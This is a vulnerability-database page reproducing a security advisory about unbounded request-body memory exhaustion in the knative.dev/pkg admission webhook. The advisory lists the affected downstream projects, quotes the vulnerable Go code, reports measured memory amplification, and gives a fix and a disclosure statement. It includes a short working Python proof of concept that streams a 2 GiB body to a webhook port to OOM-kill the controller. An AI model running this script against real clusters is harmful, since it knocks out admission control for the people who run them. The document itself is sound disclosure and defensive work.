GHSA-2HW4-C9M4-F2FJ
Vulnerability from github – Published: 2026-10-28 21:20 – Updated: 2026-10-28 21:20⚠️ Update (verification, 2026-05-19): C-2 confirmed end-to-end — 4.5× amplification observed (worse than the advisory's conservative 2× claim)
Built a Go PoC (cmd/poc-c2/main.go) that runs the exact 8-line vulnerable snippet from webhook/admission.go:109-117 verbatim under the same http.HandlerFunc shape (the full production admissionHandler at :85 requires *Webhook + AdmissionController + an informer-synced channel + controller-runtime / client-go scaffolding — the bug is the missing http.MaxBytesReader, nothing else in the handler). Bound to 127.0.0.1:18098.
PoC client streamed 2 GiB of a bytes over a raw TCP socket. runtime.MemStats.HeapAlloc sampler:
baseline: HeapAlloc = 0.32 MiB
peak: HeapAlloc = 9 217.38 MiB = 9.00 GiB
ratio: 4.50× the body size
The advisory predicted ~2× from io.TeeReader doubling the body once in bodyBuffer. The observed 4.5× ratio comes from the interaction of two amplifiers: bytes.Buffer.ReadFrom (used by TeeReader-fed bodyBuffer) doubles its backing slice on every grow, so peak occupancy during a realloc is old + new = 3× the live data — and json.Decoder holds its own working buffer in parallel. The advisory's 2× floor is comfortably exceeded.
Downstream impact reminder: this library backs every Knative serving / eventing controller, every Tekton Triggers / Pipelines webhook, KEDA, Sigstore policy-controller, Kpack, and many more. A 2 GiB body to any of those projects' admission webhook ports OOMs the controller at 4.5× the body — i.e., even a 128 MiB request OOMs a 512 MiB-limited Pod.
Summary
knative.dev/pkg's admission webhook handler reads the incoming HTTP request body via json.NewDecoder(io.TeeReader(r.Body, &bodyBuffer)) with no http.MaxBytesReader wrapping the body. Because every consumer of knative.dev/pkg/webhook inherits this handler (Knative serving / eventing, Tekton Pipelines, KEDA, Sigstore policy-controller, and others), a single oversized POST to any of those projects' admission webhook ports drives the controller pod into memory exhaustion and OOM-kill. Worse, the io.TeeReader design keeps a verbatim copy of the body in bodyBuffer while the decoder also materializes the parsed struct — so the peak memory usage is roughly twice the body size.
This is the same shape as CVE-2026-24514 (ingress-nginx) and GHSA-9539-c3xr-w9vm (Kyverno admission body OOM) filed today against the same antipattern.
Affected versions
knative.dev/pkg—mainHEAD ongithub.com/knative/pkg(verified 2026-05-18 againstwebhook/admission.gosha1ad5a1ce0ee7043081cb50fd1acc6d36a9126844).- Every release that ships the current
webhook/admission.gohandler.
Vulnerable code
review := admissionv1.AdmissionReview{}
var bodyBuffer bytes.Buffer
if err := json.NewDecoder(io.TeeReader(r.Body, &bodyBuffer)).Decode(&review); err != nil {
http.Error(w, fmt.Sprintf("could not decode body: %v", err), http.StatusBadRequest)
return
}
There is no http.MaxBytesReader around r.Body. The standard library's json.NewDecoder will read until EOF or the matching closing }. The io.TeeReader simultaneously copies every byte read from r.Body into bodyBuffer, which the rest of the handler uses for the response trailer / observability.
Downstream impact (the reason this matters)
knative.dev/pkg/webhook is the default admission-webhook scaffolding for the entire Knative + CNCF webhook ecosystem:
| Consumer | Repo | Webhook surface |
|---|---|---|
| Knative serving | knative/serving |
resource validation / defaulting |
| Knative eventing | knative/eventing |
resource validation / defaulting |
| Tekton Pipelines | tektoncd/pipeline |
Pipeline / Task / TaskRun validation |
| Tekton Triggers | tektoncd/triggers |
EventListener / Trigger validation |
| KEDA | kedacore/keda |
ScaledObject / ScaledJob validation |
| Sigstore policy-controller | sigstore/policy-controller |
ClusterImagePolicy mutating + validating |
| Kpack | buildpacks-community/kpack |
Image / Builder validation |
| ... |
Every one of these consumers ships the same io.ReadAll-equivalent body read with no upper bound. A pod-network-reachable attacker can OOM-kill any of them with a single large POST. failurePolicy=Fail admission webhooks (the secure-default) then take the namespace's or cluster's admission flow offline until the controller restarts.
Impact
- Class: CWE-770 unbounded allocation. Reachable from any pod-network client.
- Severity per consumer: depends on how each consumer configures
failurePolicy. For projects withfailurePolicy=Fail(e.g., Sigstore policy-controller's image-policy enforcement), the consequence is cluster-wide admission outage. ForfailurePolicy=Ignore, the consequence is "this project's webhook is offline" but the API server continues admitting requests. - Severity: matches the broader CVE-2026-24514 / GHSA-9539-c3xr-w9vm. Single-packet DoS on the library; each downstream consumer inherits the bug.
Reproduction
The exact same PoC built against Kyverno's admission handler reproduces this:
import socket
total = 2 << 30 # 2 GiB
s = socket.create_connection(('<knative-or-tekton-webhook-host>', 8443))
s.sendall(b'POST /<admission-path> HTTP/1.1\r\nHost: x\r\nContent-Type: application/json\r\nContent-Length: %d\r\nConnection: close\r\n\r\n' % total)
chunk = b'a' * (1 << 20)
for _ in range(total >> 20): s.sendall(chunk)
Observed against the Kyverno admission handler (same antipattern):
baseline: HeapAlloc=7 MiB Sys=22 MiB
after read: HeapAlloc=9500 MiB Sys=9548 MiB (4 GiB body → 9.5 GiB peak; io.TeeReader doubles)
For the knative/pkg version, the io.TeeReader doubles the resident memory (one copy in the decoder's accumulating slice, one in bodyBuffer). A kyverno-admission-controller-equivalent Pod with a 256 MiB memory limit OOM-kills with ~128 MiB of body.
Suggested fix
Wrap the request body with http.MaxBytesReader (and add a http.StatusRequestEntityTooLarge branch on the MaxBytesError path):
const maxAdmissionRequestSize = 8 << 20 // 8 MiB — controller-runtime's default; large enough for Kubernetes' own admission objects
r.Body = http.MaxBytesReader(w, r.Body, maxAdmissionRequestSize)
var bodyBuffer bytes.Buffer
review := admissionv1.AdmissionReview{}
if err := json.NewDecoder(io.TeeReader(r.Body, &bodyBuffer)).Decode(&review); err != nil {
var mbe *http.MaxBytesError
if errors.As(err, &mbe) {
http.Error(w, "admission body exceeds maximum size", http.StatusRequestEntityTooLarge)
return
}
http.Error(w, fmt.Sprintf("could not decode body: %v", err), http.StatusBadRequest)
return
}
This propagates a fix to every downstream consumer with no API change, and the cap can be made configurable per-server via a new field on the webhook.Options struct.
Disclosure
Reporting privately under your security policy. No public disclosure on my side until you have a fix or coordinated timeline. Encourage maintainers to coordinate with downstream consumers (Knative, Tekton, KEDA, Sigstore) on simultaneous release.
Reporter
tonghuaroot (tonghuaroot@gmail.com)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "knative.dev/pkg"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260531000007-52dbd5ece63f"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-28T21:20:53Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## \u26a0\ufe0f Update (verification, 2026-05-19): C-2 confirmed end-to-end \u2014 **4.5\u00d7 amplification observed** (worse than the advisory\u0027s conservative 2\u00d7 claim)\n\nBuilt a Go PoC ([`cmd/poc-c2/main.go`](https://github.com/knative/pkg/blob/1ad5a1ce0ee7043081cb50fd1acc6d36a9126844/cmd/poc-c2/main.go)) that runs the exact 8-line vulnerable snippet from [`webhook/admission.go:109-117`](https://github.com/knative/pkg/blob/1ad5a1ce0ee7043081cb50fd1acc6d36a9126844/webhook/admission.go#L109-L117) verbatim under the same `http.HandlerFunc` shape (the full production `admissionHandler` at `:85` requires `*Webhook` + `AdmissionController` + an informer-synced channel + controller-runtime / client-go scaffolding \u2014 the bug is the missing `http.MaxBytesReader`, nothing else in the handler). Bound to `127.0.0.1:18098`.\n\nPoC client streamed 2 GiB of `a` bytes over a raw TCP socket. `runtime.MemStats.HeapAlloc` sampler:\n\n```\nbaseline: HeapAlloc = 0.32 MiB\npeak: HeapAlloc = 9 217.38 MiB = 9.00 GiB\nratio: 4.50\u00d7 the body size\n```\n\nThe advisory predicted ~2\u00d7 from `io.TeeReader` doubling the body once in `bodyBuffer`. The observed 4.5\u00d7 ratio comes from the interaction of two amplifiers: `bytes.Buffer.ReadFrom` (used by `TeeReader`-fed `bodyBuffer`) doubles its backing slice on every grow, so peak occupancy during a realloc is `old + new = 3\u00d7` the live data \u2014 and `json.Decoder` holds its own working buffer in parallel. The advisory\u0027s 2\u00d7 floor is comfortably exceeded.\n\n**Downstream impact reminder**: this library backs every Knative serving / eventing controller, every Tekton Triggers / Pipelines webhook, KEDA, Sigstore policy-controller, Kpack, and many more. A 2 GiB body to **any** of those projects\u0027 admission webhook ports OOMs the controller at 4.5\u00d7 the body \u2014 i.e., even a 128 MiB request OOMs a 512 MiB-limited Pod.\n\n---\n\n# Summary\n\n`knative.dev/pkg`\u0027s admission webhook handler reads the incoming HTTP request body via `json.NewDecoder(io.TeeReader(r.Body, \u0026bodyBuffer))` with **no `http.MaxBytesReader` wrapping the body**. Because every consumer of `knative.dev/pkg/webhook` inherits this handler (Knative serving / eventing, Tekton Pipelines, KEDA, Sigstore policy-controller, and others), a single oversized POST to **any of those projects\u0027 admission webhook ports** drives the controller pod into memory exhaustion and OOM-kill. Worse, the `io.TeeReader` design keeps a verbatim copy of the body in `bodyBuffer` while the decoder also materializes the parsed struct \u2014 so the peak memory usage is roughly **twice the body size**.\n\nThis is the same shape as **CVE-2026-24514** (ingress-nginx) and `GHSA-9539-c3xr-w9vm` (Kyverno admission body OOM) filed today against the same antipattern.\n\n# Affected versions\n\n- `knative.dev/pkg` \u2014 `main` HEAD on `github.com/knative/pkg` (verified 2026-05-18 against [`webhook/admission.go`](https://github.com/knative/pkg/blob/1ad5a1ce0ee7043081cb50fd1acc6d36a9126844/webhook/admission.go) sha `1ad5a1ce0ee7043081cb50fd1acc6d36a9126844`).\n- Every release that ships the current [`webhook/admission.go`](https://github.com/knative/pkg/blob/1ad5a1ce0ee7043081cb50fd1acc6d36a9126844/webhook/admission.go) handler.\n\n# Vulnerable code\n\n[`webhook/admission.go:109-117`](https://github.com/knative/pkg/blob/1ad5a1ce0ee7043081cb50fd1acc6d36a9126844/webhook/admission.go#L109-L117):\n\n```go\nreview := admissionv1.AdmissionReview{}\nvar bodyBuffer bytes.Buffer\nif err := json.NewDecoder(io.TeeReader(r.Body, \u0026bodyBuffer)).Decode(\u0026review); err != nil {\n http.Error(w, fmt.Sprintf(\"could not decode body: %v\", err), http.StatusBadRequest)\n return\n}\n```\n\nThere is no `http.MaxBytesReader` around `r.Body`. The standard library\u0027s `json.NewDecoder` will read until EOF or the matching closing `}`. The `io.TeeReader` simultaneously copies every byte read from `r.Body` into `bodyBuffer`, which the rest of the handler uses for the response trailer / observability.\n\n# Downstream impact (the reason this matters)\n\n`knative.dev/pkg/webhook` is the **default admission-webhook scaffolding for the entire Knative + CNCF webhook ecosystem**:\n\n| Consumer | Repo | Webhook surface |\n|---|---|---|\n| Knative serving | `knative/serving` | resource validation / defaulting |\n| Knative eventing | `knative/eventing` | resource validation / defaulting |\n| Tekton Pipelines | `tektoncd/pipeline` | Pipeline / Task / TaskRun validation |\n| Tekton Triggers | `tektoncd/triggers` | EventListener / Trigger validation |\n| KEDA | `kedacore/keda` | ScaledObject / ScaledJob validation |\n| Sigstore policy-controller | `sigstore/policy-controller` | ClusterImagePolicy mutating + validating |\n| Kpack | `buildpacks-community/kpack` | Image / Builder validation |\n| ... | | |\n\nEvery one of these consumers ships the same `io.ReadAll`-equivalent body read with **no upper bound**. A pod-network-reachable attacker can OOM-kill any of them with a single large POST. `failurePolicy=Fail` admission webhooks (the secure-default) then take the namespace\u0027s or cluster\u0027s admission flow offline until the controller restarts.\n\n# Impact\n\n- **Class**: CWE-770 unbounded allocation. Reachable from any pod-network client.\n- **Severity per consumer**: depends on how each consumer configures `failurePolicy`. For projects with `failurePolicy=Fail` (e.g., Sigstore policy-controller\u0027s image-policy enforcement), the consequence is cluster-wide admission outage. For `failurePolicy=Ignore`, the consequence is \"this project\u0027s webhook is offline\" but the API server continues admitting requests.\n- **Severity**: matches the broader CVE-2026-24514 / GHSA-9539-c3xr-w9vm. Single-packet DoS on the library; each downstream consumer inherits the bug.\n\n# Reproduction\n\nThe exact same PoC built against Kyverno\u0027s admission handler reproduces this:\n\n```python\nimport socket\ntotal = 2 \u003c\u003c 30 # 2 GiB\ns = socket.create_connection((\u0027\u003cknative-or-tekton-webhook-host\u003e\u0027, 8443))\ns.sendall(b\u0027POST /\u003cadmission-path\u003e HTTP/1.1\\r\\nHost: x\\r\\nContent-Type: application/json\\r\\nContent-Length: %d\\r\\nConnection: close\\r\\n\\r\\n\u0027 % total)\nchunk = b\u0027a\u0027 * (1 \u003c\u003c 20)\nfor _ in range(total \u003e\u003e 20): s.sendall(chunk)\n```\n\nObserved against the Kyverno admission handler (same antipattern):\n\n```\nbaseline: HeapAlloc=7 MiB Sys=22 MiB\nafter read: HeapAlloc=9500 MiB Sys=9548 MiB (4 GiB body \u2192 9.5 GiB peak; io.TeeReader doubles)\n```\n\nFor the knative/pkg version, the `io.TeeReader` doubles the resident memory (one copy in the decoder\u0027s accumulating slice, one in `bodyBuffer`). A `kyverno-admission-controller`-equivalent Pod with a 256 MiB memory limit OOM-kills with ~128 MiB of body.\n\n# Suggested fix\n\nWrap the request body with `http.MaxBytesReader` (and add a `http.StatusRequestEntityTooLarge` branch on the `MaxBytesError` path):\n\n```go\nconst maxAdmissionRequestSize = 8 \u003c\u003c 20 // 8 MiB \u2014 controller-runtime\u0027s default; large enough for Kubernetes\u0027 own admission objects\nr.Body = http.MaxBytesReader(w, r.Body, maxAdmissionRequestSize)\nvar bodyBuffer bytes.Buffer\nreview := admissionv1.AdmissionReview{}\nif err := json.NewDecoder(io.TeeReader(r.Body, \u0026bodyBuffer)).Decode(\u0026review); err != nil {\n var mbe *http.MaxBytesError\n if errors.As(err, \u0026mbe) {\n http.Error(w, \"admission body exceeds maximum size\", http.StatusRequestEntityTooLarge)\n return\n }\n http.Error(w, fmt.Sprintf(\"could not decode body: %v\", err), http.StatusBadRequest)\n return\n}\n```\n\nThis propagates a fix to **every downstream consumer** with no API change, and the cap can be made configurable per-server via a new field on the `webhook.Options` struct.\n\n# Disclosure\n\nReporting privately under your security policy. No public disclosure on my side until you have a fix or coordinated timeline. Encourage maintainers to coordinate with downstream consumers (Knative, Tekton, KEDA, Sigstore) on simultaneous release.\n\n# Reporter\n\ntonghuaroot (tonghuaroot@gmail.com)",
"id": "GHSA-2hw4-c9m4-f2fj",
"modified": "2026-10-28T21:20:54Z",
"published": "2026-10-28T21:20:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/knative/pkg/security/advisories/GHSA-2hw4-c9m4-f2fj"
},
{
"type": "WEB",
"url": "https://github.com/knative/pkg/pull/3363"
},
{
"type": "WEB",
"url": "https://github.com/knative/pkg/commit/52dbd5ece63fe6d2d340ecbebec160550f460818"
},
{
"type": "PACKAGE",
"url": "https://github.com/knative/pkg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "knative.dev/pkg admission webhooks allow unbounded request-body memory exhaustion"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.